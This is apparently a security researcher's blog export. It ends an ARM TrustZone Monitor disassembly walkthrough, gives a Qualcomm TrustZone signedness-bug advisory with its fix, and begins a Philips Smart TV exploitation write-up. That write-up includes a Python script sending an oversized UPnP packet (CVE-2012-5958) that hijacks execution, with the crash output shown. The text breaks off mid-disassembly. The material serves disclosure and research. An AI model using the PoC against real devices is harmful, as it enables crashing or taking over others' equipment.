<span class="nl">LOAD:</span><span class="nf">FE80D274</span> <span class="no">SUB</span> <span class="no">SP</span><span class="p">,</span> <span class="no">SP</span><span class="p">,</span> <span class="c1">#0x94 ; NS_core_context = SP (S_core_context) - 0x94</span>
<span class="nl">LOAD:</span><span class="nf">FE80D278</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">SP</span> <span class="c1">; secure area where previous Non-Secure context is stored</span>
<span class="nl">LOAD:</span><span class="nf">FE80D27C</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_IRQ ; switch to IRQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D280</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D284</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_irq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D288</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_SVC ; switch to Supervisor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D28C</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D290</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_svc</span>
<span class="nl">LOAD:</span><span class="nf">FE80D294</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_ABT ; switch to Abort mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D298</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D29C</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_abt</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2A0</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_UND ; switch to Undefined mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2A4</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">!,</span> <span class="err">{</span><span class="no">R12-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2A8</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R12</span> <span class="c1">; write SPSR_und</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2AC</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_FIQ ; switch to FIQ mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2B0</span> <span class="no">LDMIA</span> <span class="no">R1</span><span class="p">,</span> <span class="err">{</span><span class="no">R7-LR</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2B4</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R7</span> <span class="c1">; write SPSR_fiq</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2B8</span> <span class="no">CPS</span> <span class="c1">#CPSR_MODE_MON ; switch back to Monitor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2BC</span> <span class="no">LDMEA</span> <span class="no">SP</span><span class="p">,</span> <span class="err">{</span><span class="no">R0-LR</span><span class="err">}^</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2C0</span> <span class="no">MOV</span> <span class="no">SP</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; restore Monitor stack address</span>
</pre></div>
<h5>IV.3.B.c IRQ interrupt flag</h5>
<p>Next instructions check the DWORD value which indicates that an IRQ
interrupt occurred. If this flag is set, the return value is set to
1 in R0.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D2C4</span> <span class="no">LDR</span> <span class="no">R3</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_irq_interrupted</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2C8</span> <span class="no">LDR</span> <span class="no">R2</span><span class="p">,</span> <span class="p">[</span><span class="no">R3</span><span class="p">]</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2CC</span> <span class="no">CMP</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0 ; if an IRQ interrupt occurred</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2D0</span> <span class="no">MOVNE</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1 ; then set return value to 1</span>
</pre></div>
<p>This may seem pointless in the context of the SMC handler. But
actually this part of code is also used by the IRQ handler to
return to the Normal World.</p>
<h5>IV.3.B.d Non-secure CPSR & LR</h5>
<p>Then CPSR and LR from previously interrupted Non-Secure state are
written to SPSR_mon and LR_mon.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D2D4</span> <span class="no">LDR</span> <span class="no">LR</span><span class="p">,</span> <span class="err">=</span><span class="no">NS_core_status</span> <span class="c1">; ptr to previously-saved Non-Secure LR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2D8</span> <span class="no">LDR</span> <span class="no">LR</span><span class="p">,</span> <span class="p">[</span><span class="no">LR</span><span class="p">]</span> <span class="c1">; restore Non-Secure return address</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2DC</span> <span class="no">LDR</span> <span class="no">R3</span><span class="p">,</span> <span class="err">=</span><span class="no">NS_core_status.SPSR</span> <span class="c1">; ptr to previously-saved Non-Secure CPSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2E0</span> <span class="no">LDR</span> <span class="no">R3</span><span class="p">,</span> <span class="p">[</span><span class="no">R3</span><span class="p">]</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2E4</span> <span class="no">BIC</span> <span class="no">R3</span><span class="p">,</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#CPSR_MASK_FIQ ; clear CPSR.F: FIQ exceptions not masked</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2E8</span> <span class="no">MSR</span> <span class="no">SPSR_cxsf</span><span class="p">,</span> <span class="no">R3</span> <span class="c1">; write SPSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2EC</span> <span class="no">DMB</span> <span class="no">SY</span>
</pre></div>
<p>They will be used later for the exception return.</p>
<h5>IV.3.B.e TrustZone lock</h5>
<p>After that, tz_lock DWORD is cleared to indicate that this core is no longer running in TrustZone.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D2F0</span> <span class="no">LDR</span> <span class="no">R3</span><span class="p">,</span> <span class="err">=</span><span class="no">tz_lock</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2F4</span> <span class="no">MOV</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2F8</span> <span class="no">STR</span> <span class="no">R2</span><span class="p">,</span> <span class="p">[</span><span class="no">R3</span><span class="p">]</span> <span class="c1">; clear tz_lock</span>
<span class="nl">LOAD:</span><span class="nf">FE80D2FC</span> <span class="no">DMB</span> <span class="no">SY</span>
</pre></div>
<h5>IV.3.B.f Exception return to Non-Secure world</h5>
<p>The MCR instruction writes to the SCR register to modify the
configuration of the current security state:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D300</span> <span class="no">MOV</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0 ; clear R2 to avoid leak</span>
<span class="nl">LOAD:</span><span class="nf">FE80D304</span> <span class="no">MOV</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D308</span> <span class="no">MOV</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#SCR_NS OR SCR_FIQ OR SCR_AW ; 0b100101</span>
<span class="nl">LOAD:</span><span class="nf">FE80D30C</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R3</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write SCR : switch to Non-Secure state</span>
<span class="nl">LOAD:</span><span class="nf">FE80D310</span> <span class="no">ISB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80D314</span> <span class="no">MOV</span> <span class="no">R3</span><span class="p">,</span> <span class="c1">#0 ; clear R3 to avoid leak</span>
<span class="nl">LOAD:</span><span class="nf">FE80D318</span> <span class="no">MOVS</span> <span class="no">PC</span><span class="p">,</span> <span class="no">LR</span> <span class="c1">; restore Non-Secure PC & CPSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80D318</span> <span class="c1">; End of function smc_handler</span>
</pre></div>
<p>The Security state is switched to Non-Secure (SCR_NS). FIQ
interrupts are taken to the Monitor Mode (SCR_FIQ), and the CPSR.A
bit can be modified in any security state (SCR_AW), so the
Non-Secure world can mask Abort exceptions.</p>
<p>Finally, the exception return is made with a MOVS instruction which
branches to the return address in Normal World, and also copies
SPSR_mon to CPSR.</p>
<h2>Conclusion</h2>
<p>We have analyzed a part of Monitor code which allows to switch
processor security state through SMC exceptions. We've learnt that
some SMC exceptions are fully handled by Monitor code, while others
are routed to TrustZone code in Secure Supervisor mode. The latter
can be executed by only one core at a time. We have also found that
an external ELF can be loaded and executed in TrustZone with a
dedicated Secure memory space.
However, this analysis is not complete since IRQ & FIQ handlers
have not been studied.</p>
<p>--<em>I would like to thank Adrien & Diane for their help!</em></p>[QPSIIR-80] Qualcomm TrustZone Integer Signedness bug2014-12-18T02:05:00-08:002014-12-18T02:05:00-08:00Frédérictag:fredericb.info,2014-12-18:/2014/12/qpsiir-80-qualcomm-trustzone-integer.html<h2>Summary</h2>
<div style="text-align: justify;">Qualcomm TrustZone is prone to an
integer signedness bug that may allow to write NULL words to barely
controllable locations in memory.<br>
<br>
The vulnerability can be triggered from Non-Secure World through
the TrustZone call "tzbsp_smmu_fault_regs_dump".<br>
<br>
This issue has been discovered in Samsung Galaxy S5 firmware, but
other devices can …</div><h2>Summary</h2>
<div style="text-align: justify;">Qualcomm TrustZone is prone to an
integer signedness bug that may allow to write NULL words to barely
controllable locations in memory.<br>
<br>
The vulnerability can be triggered from Non-Secure World through
the TrustZone call "tzbsp_smmu_fault_regs_dump".<br>
<br>
This issue has been discovered in Samsung Galaxy S5 firmware, but
other devices can be affected as well.</div>
<h2>Details</h2>
<div style="text-align: justify;">This vulnerability has been
discovered in TrustZone binary of Samsung Galaxy S5 firmware,
version 4.4.2.<br>
The tzbsp_smmu_fault_regs_dump function can be called from
Non-Secure World through the SMC instruction. It takes 4 arguments
passed in R0-R3 registers.<br>
When called with argument R0 > 1, nested function subfunc_1 is
called with arguments (R0 = 0xFFFFFFFF, R1) :</div>
<div class="highlight"><pre><span></span><span class="nf">FE84B9B6</span> <span class="no">tzbsp_smmu_fault_regs_dump</span>
<span class="nf">FE84B9B6</span> <span class="no">PUSH.W</span> <span class="err">{</span><span class="no">R4-R8</span><span class="p">,</span><span class="no">LR</span><span class="err">}</span>
<span class="nf">FE84B9BA</span> <span class="no">MOVS</span> <span class="no">R6</span><span class="p">,</span> <span class="no">R2</span>
<span class="nf">FE84B9BC</span> <span class="no">MOV</span> <span class="no">R8</span><span class="p">,</span> <span class="no">R1</span>
<span class="nf">FE84B9BE</span> <span class="no">MOV</span> <span class="no">R7</span><span class="p">,</span> <span class="no">R3</span>
<span class="nf">FE84B9C0</span> <span class="no">MOV.W</span> <span class="no">R4</span><span class="p">,</span> <span class="c1">#0xFFFFFFFF</span>
<span class="nf">FE84B9C4</span> <span class="no">MOV</span> <span class="no">R5</span><span class="p">,</span> <span class="c1">#0xFFFFFFEE</span>
<span class="nf">FE84B9C8</span> <span class="no">BEQ</span> <span class="no">loc_FE84BA1A</span>
<span class="nf">FE84B9CA</span> <span class="no">CBZ</span> <span class="no">R0</span><span class="p">,</span> <span class="no">loc_FE84B9D2</span> <span class="c1">; R0 > 1 : branch not taken</span>
<span class="nf">FE84B9CC</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B9CE</span> <span class="no">BEQ</span> <span class="no">loc_FE84B9D6</span> <span class="c1">; R0 > 1 : branch not taken</span>
<span class="nf">FE84B9D0</span> <span class="no">B</span> <span class="no">loc_FE84B9D8</span> <span class="c1">; branch</span>
<span class="nf">FE84B9D2</span> <span class="c1">; ---------------------------------------------------------</span>
<span class="nf">FE84B9D2</span> <span class="no">loc_FE84B9D2</span> <span class="c1">; if R0 == 0</span>
<span class="nf">FE84B9D2</span> <span class="no">MOVS</span> <span class="no">R4</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B9D4</span> <span class="no">B</span> <span class="no">loc_FE84B9D8</span>
<span class="nf">FE84B9D6</span> <span class="c1">; ---------------------------------------------------------</span>
<span class="nf">FE84B9D6</span> <span class="no">loc_FE84B9D6</span> <span class="c1">; if R0 == 1</span>
<span class="nf">FE84B9D6</span> <span class="no">MOVS</span> <span class="no">R4</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nf">FE84B9D8</span>
<span class="nf">FE84B9D8</span> <span class="no">loc_FE84B9D8</span> <span class="c1">; for any value of R0</span>
<span class="nf">FE84B9D8</span> <span class="no">MOVS</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B9DA</span> <span class="no">BL</span> <span class="no">subfunc_0</span> <span class="c1">; kind of "is retail hardware?" test</span>
<span class="nf">FE84B9DE</span> <span class="no">CBZ</span> <span class="no">R0</span><span class="p">,</span> <span class="no">loc_FE84B9EE</span> <span class="c1">; not taken</span>
<span class="nf">FE84B9E0</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R8</span>
<span class="nf">FE84B9E2</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R4</span> <span class="c1">; R4 == #0xFFFFFFFF</span>
<span class="nf">FE84B9E4</span> <span class="no">BL</span> <span class="no">subfunc_1</span>
<span class="nf">FE84B9E8</span> <span class="p">[...]</span>
</pre></div>
<div style="text-align: justify;">Then subfunc_1 checks if R0 value
is valid. It will Branch and return if R0 is Greater than or Equal
to 2. However, BGE instruction operates on signed integers. So R0
== -1 < 2 will pass the test and the execution will continue
:</div>
<div class="highlight"><pre><span></span><span class="nf">FE853124</span> <span class="no">subfunc_1</span>
<span class="nf">FE853124</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#2 ; R0 == #0xFFFFFFFF</span>
<span class="nf">FE853126</span> <span class="no">BGE</span> <span class="no">locret_FE85314C</span> <span class="c1">; signed comparison :</span>
<span class="nf">FE853126</span> <span class="c1">; R0(-1) < 2 so branch not taken</span>
<span class="nf">FE853128</span> <span class="no">MOVW</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0x9EE0</span>
<span class="nf">FE85312C</span> <span class="no">ADD.W</span> <span class="no">R3</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">LSL</span><span class="c1">#1</span>
<span class="nf">FE853130</span> <span class="no">MOVT.W</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0xFE82</span>
<span class="nf">FE853134</span> <span class="no">ADD.W</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R3</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">LSL</span><span class="c1">#3</span>
<span class="nf">FE853138</span> <span class="no">LDR</span> <span class="no">R2</span><span class="p">,</span> <span class="p">[</span><span class="no">R2</span><span class="p">,</span><span class="c1">#(dword_FE829EE4 - 0xFE829EE0)]</span>
<span class="nf">FE85313A</span> <span class="no">ADD.W</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R2</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">LSL</span><span class="c1">#4</span>
<span class="nf">FE85313E</span> <span class="no">LDRB</span> <span class="no">R2</span><span class="p">,</span> <span class="p">[</span><span class="no">R0</span><span class="p">,</span><span class="c1">#4]</span>
<span class="nf">FE853140</span> <span class="no">CMP</span> <span class="no">R2</span><span class="p">,</span> <span class="no">R1</span> <span class="c1">; with R1 < R2</span>
<span class="nf">FE853142</span> <span class="no">BLS</span> <span class="no">locret_FE85314C</span>
<span class="nf">FE853144</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R0</span><span class="p">]</span>
<span class="nf">FE853146</span> <span class="no">MOVS</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nf">FE853148</span> <span class="no">B.W</span> <span class="no">sub_FE856C84</span> <span class="c1">; write NULL DWORD to a barely arbitrary address (derived from R1 value)</span>
<span class="nf">FE85314C</span> <span class="p">[...]</span>
</pre></div>
<div style="text-align: justify;">Finally, the last nested function
could allow to write NULL words to a limited range of memory
locations.</div>
<h2>Fix</h2>
<div style="text-align: justify;">This bug is fixed in Lolipop
version of the firmware. Several changes have been made. First,
subfunc_1 function is not reachable anymore with an invalid R0
value:</div>
<div class="highlight"><pre><span></span><span class="nf">FE84B970</span> <span class="no">tzbsp_smmu_fault_regs_dump</span>
<span class="nf">FE84B970</span> <span class="no">PUSH.W</span> <span class="err">{</span><span class="no">R4-R8</span><span class="p">,</span><span class="no">LR</span><span class="err">}</span>
<span class="nf">FE84B974</span> <span class="no">MOVS</span> <span class="no">R6</span><span class="p">,</span> <span class="no">R2</span>
<span class="nf">FE84B976</span> <span class="no">MOV</span> <span class="no">R8</span><span class="p">,</span> <span class="no">R1</span>
<span class="nf">FE84B978</span> <span class="no">MOV</span> <span class="no">R7</span><span class="p">,</span> <span class="no">R3</span>
<span class="nf">FE84B97A</span> <span class="no">MOV</span> <span class="no">R5</span><span class="p">,</span> <span class="c1">#0xFFFFFFEE</span>
<span class="nf">FE84B97E</span> <span class="no">BEQ</span> <span class="no">loc_FE84B9D2</span>
<span class="nf">FE84B980</span> <span class="no">CBZ</span> <span class="no">R0</span><span class="p">,</span> <span class="no">loc_FE84B98A</span>
<span class="nf">FE84B982</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B984</span> <span class="no">BEQ</span> <span class="no">loc_FE84B98E</span>
<span class="nf">FE84B986</span> <span class="no">ADDS</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R5</span><span class="p">,</span> <span class="c1">#2</span>
<span class="nf">FE84B988</span> <span class="no">B</span> <span class="no">locret_FE84B7AA</span> <span class="c1">; branch if R0 > 1</span>
<span class="nf">FE84B98A</span> <span class="c1">; ---------------------------------------------------------</span>
<span class="nf">FE84B98A</span> <span class="no">loc_FE84B98A</span> <span class="c1">; if R0 == 0</span>
<span class="nf">FE84B98A</span> <span class="no">MOVS</span> <span class="no">R4</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B98C</span> <span class="no">B</span> <span class="no">loc_FE84B990</span>
<span class="nf">FE84B98E</span> <span class="c1">; ---------------------------------------------------------</span>
<span class="nf">FE84B98E</span> <span class="no">loc_FE84B98E</span> <span class="c1">; if R0 == 1</span>
<span class="nf">FE84B98E</span> <span class="no">MOVS</span> <span class="no">R4</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nf">FE84B990</span>
<span class="nf">FE84B990</span> <span class="no">loc_FE84B990</span> <span class="c1">; if 0 <= R0 < 2</span>
<span class="nf">FE84B990</span> <span class="no">MOVS</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1</span>
<span class="nf">FE84B992</span> <span class="no">BL</span> <span class="no">subfunc_0</span> <span class="c1">; kind of "is retail hardware?" test</span>
<span class="nf">FE84B996</span> <span class="no">CBZ</span> <span class="no">R0</span><span class="p">,</span> <span class="no">loc_FE84B9A6</span> <span class="c1">; not taken</span>
<span class="nf">FE84B998</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R8</span>
<span class="nf">FE84B99A</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R4</span> <span class="c1">; R4 is either 0 or 1</span>
<span class="nf">FE84B99C</span> <span class="no">BL</span> <span class="no">subfunc_1</span>
<span class="nf">FE84B9A0</span> <span class="p">[...]</span>
</pre></div>
<div style="text-align: justify;">Then in (sub)subfunc_1, R0 value
is now tested with an unsigned comparison:</div>
<div class="highlight"><pre><span></span><span class="nf">FE852B94</span> <span class="p">(</span><span class="no">sub</span><span class="p">)</span><span class="no">subfunc_1</span>
<span class="nf">FE852B94</span> <span class="no">CMP</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#2</span>
<span class="nf">FE852B96</span> <span class="no">BCS</span> <span class="no">loc_FE852BBA</span> <span class="c1">;unsigned comparison: branch if R0 > 1</span>
<span class="nf">FE852B98</span> <span class="no">MOVW</span> <span class="no">R2</span><span class="p">,</span> <span class="c1">#0x9F38</span>
<span class="nf">FE852B9C</span> <span class="p">[...]</span>
</pre></div>
<div style="text-align: justify;">The bug can no longer be
triggered.</div>
<h2>CVSS Version 2 Metrics</h2>
<p>Access Vector: Local</p>
<p>Access Complexity: High</p>
<p>Authentication: Single</p>
<p>Confidentiality Impact: Complete</p>
<p>Integrity Impact: Complete</p>
<p>Availability Impact: Complete</p>
<h2>Disclosure Timeline</h2>
<p>2014-08-28 Intial vendor notification</p>
<p>2014-09-03 Vendor reply; severity of the issue rated as high</p>
<p>2014-00-00 Vendor has notified all OEMs</p>
<p>2014-12-18 Public advisory</p>
<hr>
<p>References:</span><br>
<span style="white-space: pre;"><a href=
"https://www.qualcomm.com/connect/contact/security/product-security/hall-of-fame">
https://www.qualcomm.com/connect/contact/security/product-security/hall-of-fame</a></span><br></p>
<hr>Exploitation of Philips Smart TV2014-11-13T13:29:00-08:002014-11-13T13:29:00-08:00Frédérictag:fredericb.info,2014-11-13:/2014/11/exploitation-of-philips-smart-tv.html<p><em>This post is a translated summary of the article published for <a href=
"https://www.sstic.org/2014/presentation/securite_des_ordivisions/">
my talk at SSTIC 2014 conference (french)</a>.</em></p>
<p>My Philips Smart TV is a Linux box standing there in my living room : that's a sufficient reason
to try to get root.
<h2 style="text-align: justify;">Debug serial port</h2>
<div style="text-align: justify;">Internet hackers have already
discovered a …</div></p><p><em>This post is a translated summary of the article published for <a href=
"https://www.sstic.org/2014/presentation/securite_des_ordivisions/">
my talk at SSTIC 2014 conference (french)</a>.</em></p>
<p>My Philips Smart TV is a Linux box standing there in my living room : that's a sufficient reason
to try to get root.
<h2 style="text-align: justify;">Debug serial port</h2>
<div style="text-align: justify;">Internet hackers have already
discovered a serial port on the back panel of the TV set.</div>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr >
<td class="tr-caption" style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/smarttv/uart.jpg" width="256px">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Serial port
(Jack plug)</td>
</tr>
</tbody>
</table>
This port gives a lot of technical information on the system :<br></p>
<div class="highlight"><pre><span></span>Linux version 2.6.28.9-oslinuxR7.5
(root@lxdevenv) (gcc version 4.2.4) #1 Thu Jun 16 23:27:36 CEST 2011
console [early0] enabled
CPU revision is: 00019651 (MIPS 24Kc)
FPU revision is: 01739300
282 MB SDRAM allocated to Linux on MIPS
512 MB total SDRAM size
Endianess : LITTLE
[...]
</pre></div>
<h2>UPnP library identification</h2>
<div style="text-align: justify;">A network scan reports a running
UPnP service. In January 2013, Rapid7 discovered many
vulnerabilities in libupnp library, v1.6.18. To check if the device
is vulnerable, we send a simple UDP packet that can trigger one of
them (CVE-2012-5958):</div>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/python</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">pkt</span> <span class="o">=</span> <span class="s2">"NOTIFY * HTTP/1.1</span><span class="se">\r\n</span><span class="s2">"</span> <span class="o">+</span>\
<span class="s2">"HOST: 239.255.255.250:1900</span><span class="se">\r\n</span><span class="s2">"</span> <span class="o">+</span>\
<span class="s2">"USN:uuid:schemas:device:"</span> <span class="o">+</span>\
<span class="s2">"A"</span> <span class="o">*</span> <span class="mi">512</span> <span class="o">+</span> <span class="s2">":end</span><span class="se">\r\n\r\n</span><span class="s2">"</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_DGRAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">sendto</span><span class="p">(</span><span class="n">pkt</span><span class="p">,</span> <span class="p">(</span><span class="s1">'239.255.255.250'</span><span class="p">,</span> <span class="mi">1900</span><span class="p">))</span>
</pre></div>
<div style="text-align: justify;">We can see in the console that a
crash occurred:</div>
<div class="highlight"><pre><span></span>03 <2> 001990235 Exception in process 443: SIGSEGV: address not mapped to object
03 <2> 001990235 EPC = 0x41414141
03 <2> 001990235 RA = 0x41414141
</pre></div>
<div style="text-align: justify;">Execution flow has been
redirected to an arbitrary address, so we know this device uses a
vulnerable version of libupnp. Moreover, it indicates there's no
stack-smashing protection.</div>
<div style="text-align: justify;"><br></div>
<div style="text-align: justify;">In these conditions, exploitation
could be easy if we had had access to this binary or loaded
shared libraries.</div>
<div style="text-align: justify;">But it's not the case: firmware
updates are encrypted, and there's no public method to get a shell
on this system, at this time.</div>
<div style="text-align: justify;">Unfortunately, the <a href=
"http://sitsec.net/blog/2013/09/16/jointspace-server-directory-traversal-vulnerability-on-a-philips-6000-series-smart-led-tv/">
path traversal vulnerability found by Martin Schobert</a> is not
present in our firmware.</div>
<h2>Memory mapping discovery</h2>
<div style="text-align: justify;">CVE-2012-5958 is a remote stack
overflow in the "unique_server_name" function. We cross-compile the
same version of libupnp used in the TV set (1.4), for the same
architecture (MIPS32) with the same compiler (GCC 4.2.4).</div>
<div style="text-align: justify;">Then we disassemble the
vulnerable function :</div>
<div class="highlight"><pre><span></span><span class="err">[</span><span class="na">...</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D4C</span> <span class="no">lw</span> <span class="no">$ra</span><span class="p">,</span> <span class="mi">0x158</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D50</span> <span class="no">lw</span> <span class="no">$s3</span><span class="p">,</span> <span class="mi">0x154</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D54</span> <span class="no">lw</span> <span class="no">$s2</span><span class="p">,</span> <span class="mi">0x150</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D58</span> <span class="no">lw</span> <span class="no">$s1</span><span class="p">,</span> <span class="mi">0x14C</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D5C</span> <span class="no">lw</span> <span class="no">$s0</span><span class="p">,</span> <span class="mi">0x148</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D60</span> <span class="no">jr</span> <span class="no">$ra</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D64</span> <span class="no">addiu</span> <span class="no">$sp</span><span class="p">,</span> <span class="mi">0x160</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">D64</span> <span class="c1"># End of function unique_service_name</span>
</pre></div>
<div style="text-align: justify;">Function epilogue restores 4
registers (plus $ra) before returning to calling function. The
stack overflow allows to overwrite them with almost arbitrary
values (there's a lot of forbidden bytes).</div>
<div style="text-align: justify;"><br></div>
<div style="text-align: justify;">Among functions that call
"unique_server_name", the "ssdp_request_type" function uses
registers $s0 & $s1 right after the call return.</div>
<div class="highlight"><pre><span></span><span class="nl">.text:</span><span class="err">00004</span><span class="nf">DB4</span> <span class="no">jalr</span> <span class="no">$t9</span> <span class="c1">; unique_service_name</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DB8</span> <span class="no">move</span> <span class="no">$a1</span><span class="p">,</span> <span class="no">$s0</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DBC</span> <span class="no">lw</span> <span class="no">$gp</span><span class="p">,</span> <span class="mi">0x28</span><span class="err">+</span><span class="no">saved_gp</span><span class="p">(</span><span class="no">$sp</span><span class="p">)</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DC0</span> <span class="no">move</span> <span class="no">$a0</span><span class="p">,</span> <span class="no">$s1</span> <span class="c1">; arg0</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DC4</span> <span class="no">la</span> <span class="no">$t9</span><span class="p">,</span> <span class="mi">0x49C0</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DC8</span> <span class="no">or</span> <span class="no">$at</span><span class="p">,</span> <span class="no">$zero</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DCC</span> <span class="no">jalr</span> <span class="no">$t9</span> <span class="c1">; ssdp_request_type1</span>
<span class="nl">.text:</span><span class="err">00004</span><span class="nf">DD0</span> <span class="no">sw</span> <span class="no">$zero</span><span class="p">,</span> <span class="mi">8</span><span class="p">(</span><span class="no">$s0</span><span class="p">)</span><span class="c1">; write 0 @ $s0+8</span>
</pre></div>
